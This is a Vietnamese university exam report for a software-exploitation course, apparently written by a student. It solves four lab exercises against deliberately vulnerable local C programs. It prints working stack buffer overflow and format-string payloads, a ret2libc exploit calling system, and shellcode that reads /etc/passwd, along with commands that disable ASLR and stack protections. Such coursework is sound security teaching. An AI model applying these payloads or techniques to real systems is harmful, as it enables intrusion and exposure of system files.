Quan sát mã chương trình: - Chương trình exercise1.c - Tạo file thực thi bằng gcc... Kết quả khai thác:... Câu 2Bước 1: Quan sát code chương trình excercise2.c.. - Biên dịch chương trìn
Trang 1BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT
MÃ
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Sinh viên : Nguyễn Thị Kim Huế
SBD : 08
Mã số sinh viên : AT13CLC0101
BÁO CÁO KẾT QUẢ LÀM BÀI THI
KẾT THÚC HỌC PHẦN
Môn học: Khai thác lỗ hổng phần mềm Khóa đào tạo: AT13CLC
Câu 1
Bước 1 Quan sát mã chương trình:
- Chương trình exercise1.c
- Tạo file thực thi bằng gcc
Trang 2Bước 2 Phân tích tệp tin excercise1 bằng IDA
- Biến v1 nằm ở vị trí esp + 9h và biến v2 nằm ở vị trí esp + 218h như vậy biến v2 nằm sau biến v1 một khoảng là 0x218 – 0x9 = 527 byte
- Biến v2 nằm ở vị trí esp + 218h và biến v3 nằm ở vị trí esp + 21Ch như vậy biến v3 nằm sau biến v2 một khoảng 0x21C – 0x218 = 4 byte
-Bước 3 Lập kịch bản khai thác
- Để giải được bài này ta cần chèn thêm một chuỗi 527 byte bất kỳ + chèn giá trị của v2 là 0x4C 0x33 0x22 0x11
- Tiếp theo chèn thêm giá trị của v3 < 0 ở đây lấy giá trị -8 nên ta chèn thêm một chuỗi byte ở định dạng hexa là 0xf8 0xff 0xff 0xff
- Mã khai thác:
- python -c 'print "A"*527 + "\x4C\x33\x22\x11" + "\xf8\xff\xff\xff"' | /excercise1
Bước 4 Kết quả khai thác:
Trang 3Câu 2
Bước 1: Quan sát code chương trình excercise2.c
- Biên dịch chương trình:
sudo sysctl kernel.randomize_va_space=0
gcc excercise2.c -o excercise2 -fno-stack-protector -z execstack
Bước 2: Tìm địa chỉ hàm trả về dòng chữ “you won”
- Địa chỉ là : 0x80485c0 => Đây là địa chỉ của giá trị được push vào hàm win: you won!
Trang 4Bước 3: Thử chạy chương trình
Ta thấy 7 tham số còn trống
Bước 4 Mã khai thác.
Cần chèn địa chỉ của giá trị được push tỏng hàm win là tham số
python -c 'print "B\xc0\x85\x04\x08" + "%x"*7 +"%s"' | /exercise2
Câu 3.
Bước 1 Xác định khoảng cách buff tới địa chỉ trả về.
- Chương trình exercise3.c
- Biên dịch chương trình bằng lệnh: gcc exercise3.c –o exercise3 –z execstack -fno-stack-protector
- Tạo 1 file win in ra dòng chữ “You win!”
Trang 5- Đặt Breackpoint tại địa chỉ sau hàm Gets Tức đặt tại 0x804849a
- Địa chi buff là : 0xbfffe920
- Địa chỉ eip là : 0xbfffefac
Trang 6Vậy khoảng giữa buff và eip là : 0xbfffefac 0xbfffe920=1676 = 68C
- Chạy chương trình lấy điạ chỉ buff : 0xbfffe990.
-Bước 2 Xác định hàm libc cần dùng
- Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System
- Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0
- Ta lấy địa chỉ của Buf cộng thêm 68C để tính ra địa chỉ ret address là: 0xbffff01c
- Từ đây ta sẽ có địa chỉ hàm sys là 0xbffff028
Bước 3 Mã khai thác bằng ngôn ngữ Python
python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf" + "./win"'|./exercise3
Bước 4 Kết quả khai thác
- Kết quả khai thác là in ra “You won!”
Câu 4:
Bước 1: Mã shellcode
- Shellcode thực thi lệnh "cat /etc/passwd"
Trang 8Kiểm tra shellcode
- Shellcode :
"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\ x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\ x2f\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\ xb0\x01\xcd\x80";
Bước 2 Quan sát mã nguồn chương trình excercise4.c
Bước 3 Tìm khoảng cách buff tới địa chỉ trả về :
Địa chỉ buff là : 0xbfffec89
Địa chỉ eip là : 0xbfffef8c
Khoảng cách buff tới eip là : 0xbfffef8c- 0xbfffec89 =771
Trang 9Bước 4: Mã khai thác là :
./excercise4 $(python -c 'print"A"*771 + "\x09\xed\xff\xbf"+"\x31\xc9\xf7\xe9\x31\xdb\xbb\ xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\ x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\ x01\xcd\x80"')